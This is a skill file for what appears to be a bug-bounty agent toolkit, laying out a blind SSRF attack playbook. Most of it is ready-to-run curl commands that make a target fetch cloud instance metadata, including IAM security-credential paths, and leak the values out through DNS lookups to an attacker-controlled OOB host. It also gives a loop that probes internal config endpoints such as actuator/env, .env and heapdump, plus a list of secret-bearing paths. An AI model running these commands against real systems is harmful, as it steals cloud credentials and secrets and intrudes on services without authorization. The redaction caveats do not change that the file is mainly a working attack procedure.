attack-ssrf-blind-harvest
Blind SSRF → metadata & config harvesting — prove via OOB first, then extract cloud metadata, config endpoints, and internal state through DNS exfil and timing/content oracles
SKILL.md.bountyreaper/skill/attack-ssrf/blind-harvest/SKILL.md
GitHubBlind SSRF → Metadata & Config Harvest
Objective
The fetch happens but nothing comes back (blind). Prove the SSRF first, then turn the blind primitive into DATA OUT: cloud instance metadata, app/service config endpoints, and internal state — via DNS exfiltration, render-side reflection, or timing oracles.
Chain note: attack-ssrf-blind-oob covers PROOF (the hit log is the finding). This
sub-skill covers what you DO once the fetch is confirmed — extracting real data.
Methodology
1. Prove the fetch (from blind-oob playbook — summary)
curl "https://TARGET/fetch?url=http://YOUR_OOB_HOST/probe-N"
# one hit per input point, unique tag → confirmed SSRF map
2. Metadata extraction, blind (DNS out-channel)
# IMDS values ride out through the DNS name you force the server to resolve
curl "https://TARGET/fetch?url=http://169.254.169.254/latest/meta-data/hostname.<tag>.YOUR_OOB_HOST.net"
curl "https://TARGET/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<tag>.YOUR_OOB_HOST.net"
curl "https://TARGET/fetch?url=http://metadata.google.internal/computeMetadata/v1/instance/hostname.<tag>.YOUR_OOB_HOST.net"
curl -H "Metadata: true" "https://TARGET/fetch?url=http://169.254.169.254/metadata/instance/compute/location.<tag>.YOUR_OOB_HOST.net"
# Each returned label in your DNS log = one exfiltrated internal value
3. Blind config endpoints (state to hunt for)
Any of these reached blind = config disclosure candidate → rank with the same table:
| Target | Why it matters blind |
|---|---|
/actuator/env, /actuator/configprops (Spring) |
secrets/db URLs in env |
/env /heapdump (Spring ErrorPage) |
heap = credentials |
/_nodes, /_cat/indices (Elasticsearch 9200) |
internal topology |
/server-info, /solr/admin/info/system |
build/version reveal |
/debug/pprof, /debug/vars (Go) |
runtime internals |
/.env, /config, /api/config, /application.properties |
direct config file |
/admin/config, /api/config/rest/appsettings |
app secrets |
/_debugbar, /profiler (PHP) |
config + env dump |
/druid/index.html (Alibaba Druid) |
datasource passwords |
Redis CONFIG GET * via gopher |
full instance config |
for path in /actuator/env /_env /debug/vars /.env /config /api/config; do
curl -s -o /dev/null -w "$path %{http_code}\n" \
"https://TARGET/fetch?url=http://127.0.0.1:8080$path"
done
4. Read data out blind (channel ladder)
- Render-reflect: the internal response body sometimes lands in the app UI as an "image not found" error / form validation text — check EVERY response field
- DNS exfil: bash/xxe-style string-building not available? then only values that appear in a hostname (hostname, instance-id) can ride out — encode them
- Timing/content-type oracle: config endpoint reachable = faster response and different headers than a closed port; document the delta table
- Partial reflection: some fetchers relay the internal HTTP STATUS (200 vs 404) — turn that into an endpoint TYPESCAN (exists / not-exists map)
5. From blind config read to real findings
- Metadata creds → validate OFF-TARGET (do not use inside the program), redact, report
.env/actuator content → one shot per endpoint, capture secrets REDACTED- Endpoint existence map → feed attack-ssrf-k8s-mesh for the port/service sweep
Evidence bar
- EXACT OOB hit log line + triggering request for the metadata/config URL
- Exfiltrated values shown as
patternproofs, values REDACTED - No "probably reachable" claims — oracle deltas only count with 3+ repeatable samples
Notes
- Keeper rule: blind ≠ hopeless — every internal value that can pass through a hostname or a status byte is extractable; think in channels, not payloads